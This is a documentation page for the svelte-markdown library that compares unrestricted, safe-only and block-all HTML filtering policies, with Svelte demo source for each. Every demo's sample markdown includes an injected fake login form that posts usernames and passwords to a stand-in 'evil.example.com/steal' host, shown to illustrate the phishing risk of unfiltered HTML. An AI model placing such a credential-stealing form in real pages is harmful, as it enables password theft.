<!-- Source: https://markdown.svelte.page/examples/html-filtering -->

# HTML Filtering

> Compare HTML filtering policies in @humanspeak/svelte-markdown, rendering the same markdown with unrestricted, safe-only, and blocked tag rules.

**Source:** [https://markdown.svelte.page/examples/html-filtering](https://markdown.svelte.page/examples/html-filtering)

**Markdown mirror:** [https://markdown.svelte.page/examples/html-filtering.md](https://markdown.svelte.page/examples/html-filtering.md)

---

This mirror preserves the prose, implementation notes, and runnable Svelte source behind the live example page.

## FIG-001: allow all html.

Every HTML tag survives into the DOM. Iframes load, forms render, styles apply — only safe with content you fully trust.

**Metadata:** tag: `UNRESTRICTED` | policy: `allow-all-html`

### Notes

- Default behaviour — every HTML tag is rendered through its built-in renderer including `iframe`, `form`, and `style`.
- Only safe for content you fully trust. Untrusted markdown can inject phishing forms, redirect users, or load tracking pixels.

### Source

#### AllowAllHtml.svelte

Source file: [src/lib/examples/html-filtering/demos/AllowAllHtml.svelte](https://github.com/humanspeak/svelte-markdown/blob/main/docs/src/lib/examples/html-filtering/demos/AllowAllHtml.svelte)

```svelte
<script lang="ts">
    import SvelteMarkdown from '@humanspeak/svelte-markdown'

    const markdown = `## HTML Filtering Demo

This paragraph has **bold** and *italic* markdown formatting.

<div>
This is inside a trusted HTML div element.
</div>

<strong>HTML strong tag</strong> and <em>HTML em tag</em>.

<details>
<summary>Click to expand</summary>
Hidden content inside details/summary tags.
</details>

<iframe src="https://example.com" title="example iframe"></iframe>

<form action="https://evil.example.com/steal" method="POST">
  <strong>Fake login injected by untrusted markdown</strong>
  <input type="text" placeholder="Username" />
  <input type="password" placeholder="Password" />
  <button type="submit">Sign in</button>
</form>
`
</script>

<!--
  Allow-all HTML — no `renderers` override. Every HTML tag in the markdown
  source survives into the DOM. Iframes load, forms render, styles apply.
  Only safe with content you fully trust.
-->
<div class="hf-demo hf-demo-risk">
    <div class="hf-demo-bar">
        <span>POLICY / UNRESTRICTED</span>
        <span>trusted content only</span>
    </div>
    <div class="hf-demo-preview">
        <div class="hf-markdown prose prose-sm dark:prose-invert max-w-none">
            <SvelteMarkdown source={markdown} />
        </div>
    </div>
</div>

<style>
    .hf-demo {
        color: var(--brut-ink, currentColor);
        background:
            linear-gradient(135deg, var(--hf-wash), transparent 46%), var(--brut-bg, Canvas);
        border: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        font-family: 'Inter Variable', 'Inter', system-ui, sans-serif;
    }
    .hf-demo-bar {
        display: flex;
        align-items: center;
        justify-content: space-between;
        gap: 12px;
        border-bottom: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        padding: 9px 12px;
        color: var(--brut-ink-3, color-mix(in srgb, currentColor 58%, transparent));
        font-family: 'JetBrains Mono Variable', 'JetBrains Mono', ui-monospace, monospace;
        font-size: 11px;
        letter-spacing: 0.04em;
        text-transform: uppercase;
    }
    .hf-demo-bar span:first-child {
        color: var(--hf-accent);
        font-weight: 700;
    }
    .hf-demo-preview {
        padding: clamp(16px, 3vw, 28px);
    }
    .hf-markdown {
        color: var(--brut-ink-2, currentColor);
    }
    .hf-markdown :global(h2) {
        color: var(--brut-ink, currentColor);
        letter-spacing: 0;
    }
    .hf-markdown :global(div) {
        border: 1px solid var(--hf-accent-soft);
        background: var(--hf-surface);
        color: var(--brut-ink, currentColor);
        padding: 12px 14px;
    }
    .hf-markdown :global(details) {
        border: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        background: var(--brut-bg-2, rgba(127, 127, 127, 0.06));
        padding: 12px 14px;
    }
    .hf-markdown :global(summary) {
        color: var(--hf-accent);
        cursor: pointer;
        font-weight: 700;
    }
    .hf-markdown :global(iframe) {
        width: 100%;
        min-height: 96px;
        border: 1px solid var(--hf-accent-soft);
        background: var(--hf-surface);
    }
    .hf-markdown :global(form) {
        display: grid;
        gap: 8px;
        border: 1px solid var(--hf-danger);
        background: var(--hf-danger-bg);
        padding: 14px;
    }
    .hf-markdown :global(form strong) {
        color: var(--hf-danger);
    }
    .hf-markdown :global(input) {
        width: 100%;
        border: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        background: var(--brut-bg, Canvas);
        color: var(--brut-ink, currentColor);
        padding: 7px 9px;
    }
    .hf-markdown :global(button) {
        width: fit-content;
        border: 1px solid var(--hf-danger);
        background: var(--hf-danger);
        color: white;
        padding: 7px 12px;
        font-weight: 700;
    }
    .hf-demo-risk {
        --hf-accent: #dc2626;
        --hf-accent-soft: rgba(220, 38, 38, 0.34);
        --hf-danger: #b91c1c;
        --hf-danger-bg: rgba(254, 226, 226, 0.76);
        --hf-surface: rgba(254, 242, 242, 0.74);
        --hf-wash: rgba(220, 38, 38, 0.12);
    }
    :global(html.dark) .hf-demo-risk {
        --hf-accent: #f87171;
        --hf-accent-soft: rgba(248, 113, 113, 0.36);
        --hf-danger: #fb7185;
        --hf-danger-bg: rgba(127, 29, 29, 0.34);
        --hf-surface: rgba(127, 29, 29, 0.2);
        --hf-wash: rgba(248, 113, 113, 0.11);
    }
    @media (max-width: 640px) {
        .hf-demo-bar {
            align-items: flex-start;
            flex-direction: column;
        }
    }
</style>
```

## FIG-002: allow only safe tags.

Allow-list a tight set of formatting tags via allowHtmlOnly. Script, iframe, and anything else dangerous drops silently.

**Metadata:** tag: `SAFE-ONLY` | policy: `allow-only-safe`

### Notes

- Pass a tag allow-list to `allowHtmlOnly` — only those tags render, everything else drops out silently.
- The right default for user-generated content. Keeps formatting like ` `, ` `, and ` ` while killing script + iframe vectors.

### Source

#### AllowOnlySafe.svelte

Source file: [src/lib/examples/html-filtering/demos/AllowOnlySafe.svelte](https://github.com/humanspeak/svelte-markdown/blob/main/docs/src/lib/examples/html-filtering/demos/AllowOnlySafe.svelte)

```svelte
<script lang="ts">
    import SvelteMarkdown, { allowHtmlOnly } from '@humanspeak/svelte-markdown'

    // Allow-list a tight set of formatting tags. Anything outside the list
    // (script, iframe, form, etc.) is rendered as escaped text so a reader
    // can see exactly which tags were filtered out.
    const html = allowHtmlOnly([
        'strong',
        'em',
        'div',
        'span',
        'details',
        'summary',
        'sup',
        'sub',
        'cite',
        'a'
    ])

    const markdown = `## HTML Filtering Demo

This paragraph has **bold** and *italic* markdown formatting.

<div>
This is inside an allowed HTML div element.
</div>

<strong>HTML strong tag</strong> and <em>HTML em tag</em>.

<details>
<summary>Click to expand</summary>
Hidden content inside details/summary tags.
</details>

<iframe src="https://example.com" title="example iframe"></iframe>

<form action="https://evil.example.com/steal" method="POST">
  <strong>Fake login injected by untrusted markdown</strong>
  <input type="text" placeholder="Username" />
  <input type="password" placeholder="Password" />
  <button type="submit">Sign in</button>
</form>
`
</script>

<div class="hf-demo hf-demo-safe">
    <div class="hf-demo-bar">
        <span>POLICY / SAFE ONLY</span>
        <span>allowHtmlOnly</span>
    </div>
    <div class="hf-demo-preview">
        <div class="hf-markdown prose prose-sm dark:prose-invert max-w-none">
            <SvelteMarkdown source={markdown} renderers={{ html }} />
        </div>
    </div>
</div>

<style>
    .hf-demo {
        color: var(--brut-ink, currentColor);
        background:
            linear-gradient(135deg, var(--hf-wash), transparent 46%), var(--brut-bg, Canvas);
        border: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        font-family: 'Inter Variable', 'Inter', system-ui, sans-serif;
    }
    .hf-demo-bar {
        display: flex;
        align-items: center;
        justify-content: space-between;
        gap: 12px;
        border-bottom: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        padding: 9px 12px;
        color: var(--brut-ink-3, color-mix(in srgb, currentColor 58%, transparent));
        font-family: 'JetBrains Mono Variable', 'JetBrains Mono', ui-monospace, monospace;
        font-size: 11px;
        letter-spacing: 0.04em;
        text-transform: uppercase;
    }
    .hf-demo-bar span:first-child {
        color: var(--hf-accent);
        font-weight: 700;
    }
    .hf-demo-preview {
        padding: clamp(16px, 3vw, 28px);
    }
    .hf-markdown {
        color: var(--brut-ink-2, currentColor);
    }
    .hf-markdown :global(h2) {
        color: var(--brut-ink, currentColor);
        letter-spacing: 0;
    }
    .hf-markdown :global(div) {
        border: 1px solid var(--hf-accent-soft);
        background: var(--hf-surface);
        color: var(--brut-ink, currentColor);
        padding: 12px 14px;
    }
    .hf-markdown :global(details) {
        border: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        background: var(--brut-bg-2, rgba(127, 127, 127, 0.06));
        padding: 12px 14px;
    }
    .hf-markdown :global(summary) {
        color: var(--hf-accent);
        cursor: pointer;
        font-weight: 700;
    }
    .hf-demo-safe {
        --hf-accent: #059669;
        --hf-accent-soft: rgba(5, 150, 105, 0.32);
        --hf-surface: rgba(236, 253, 245, 0.82);
        --hf-wash: rgba(5, 150, 105, 0.11);
    }
    :global(html.dark) .hf-demo-safe {
        --hf-accent: #34d399;
        --hf-accent-soft: rgba(52, 211, 153, 0.34);
        --hf-surface: rgba(6, 78, 59, 0.24);
        --hf-wash: rgba(52, 211, 153, 0.1);
    }
    @media (max-width: 640px) {
        .hf-demo-bar {
            align-items: flex-start;
            flex-direction: column;
        }
    }
</style>
```

## FIG-003: block all html.

Strip every HTML tag via buildUnsupportedHTML — markdown formatting only, raw HTML stripped from the output.

**Metadata:** tag: `BLOCKED` | policy: `block-all-html`

### Notes

- `buildUnsupportedHTML()` returns a renderer map that drops every HTML tag — only markdown formatting survives.
- Best when the source is a markdown editor with no need for raw HTML. Smallest attack surface, predictable output.

### Source

#### BlockAllHtml.svelte

Source file: [src/lib/examples/html-filtering/demos/BlockAllHtml.svelte](https://github.com/humanspeak/svelte-markdown/blob/main/docs/src/lib/examples/html-filtering/demos/BlockAllHtml.svelte)

```svelte
<script lang="ts">
    import SvelteMarkdown, { buildUnsupportedHTML } from '@humanspeak/svelte-markdown'

    // Strip every HTML tag — markdown formatting only. Raw HTML is rendered
    // as escaped text in the output so blocked content is auditable.
    const html = buildUnsupportedHTML()

    const markdown = `## HTML Filtering Demo

This paragraph has **bold** and *italic* markdown formatting.

<div>
This is inside a raw HTML div element.
</div>

<strong>HTML strong tag</strong> and <em>HTML em tag</em>.

<details>
<summary>Click to expand</summary>
Hidden content inside details/summary tags.
</details>

<iframe src="https://example.com" title="example iframe"></iframe>

<form action="https://evil.example.com/steal" method="POST">
  <strong>Fake login injected by untrusted markdown</strong>
  <input type="text" placeholder="Username" />
  <input type="password" placeholder="Password" />
  <button type="submit">Sign in</button>
</form>
`
</script>

<div class="hf-demo hf-demo-blocked">
    <div class="hf-demo-bar">
        <span>POLICY / HTML BLOCKED</span>
        <span>buildUnsupportedHTML</span>
    </div>
    <div class="hf-demo-preview">
        <div class="hf-markdown prose prose-sm dark:prose-invert max-w-none">
            <SvelteMarkdown source={markdown} renderers={{ html }} />
        </div>
    </div>
</div>

<style>
    .hf-demo {
        color: var(--brut-ink, currentColor);
        background:
            linear-gradient(135deg, var(--hf-wash), transparent 46%), var(--brut-bg, Canvas);
        border: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        font-family: 'Inter Variable', 'Inter', system-ui, sans-serif;
    }
    .hf-demo-bar {
        display: flex;
        align-items: center;
        justify-content: space-between;
        gap: 12px;
        border-bottom: 1px solid var(--brut-rule, rgba(127, 127, 127, 0.22));
        padding: 9px 12px;
        color: var(--brut-ink-3, color-mix(in srgb, currentColor 58%, transparent));
        font-family: 'JetBrains Mono Variable', 'JetBrains Mono', ui-monospace, monospace;
        font-size: 11px;
        letter-spacing: 0.04em;
        text-transform: uppercase;
    }
    .hf-demo-bar span:first-child {
        color: var(--hf-accent);
        font-weight: 700;
    }
    .hf-demo-preview {
        padding: clamp(16px, 3vw, 28px);
    }
    .hf-markdown {
        color: var(--brut-ink-2, currentColor);
    }
    .hf-markdown :global(h2) {
        color: var(--brut-ink, currentColor);
        letter-spacing: 0;
    }
    .hf-demo-blocked {
        --hf-accent: #2563eb;
        --hf-wash: rgba(37, 99, 235, 0.1);
    }
    :global(html.dark) .hf-demo-blocked {
        --hf-accent: #60a5fa;
        --hf-wash: rgba(96, 165, 250, 0.1);
    }
    @media (max-width: 640px) {
        .hf-demo-bar {
            align-items: flex-start;
            flex-direction: column;
        }
    }
</style>
```
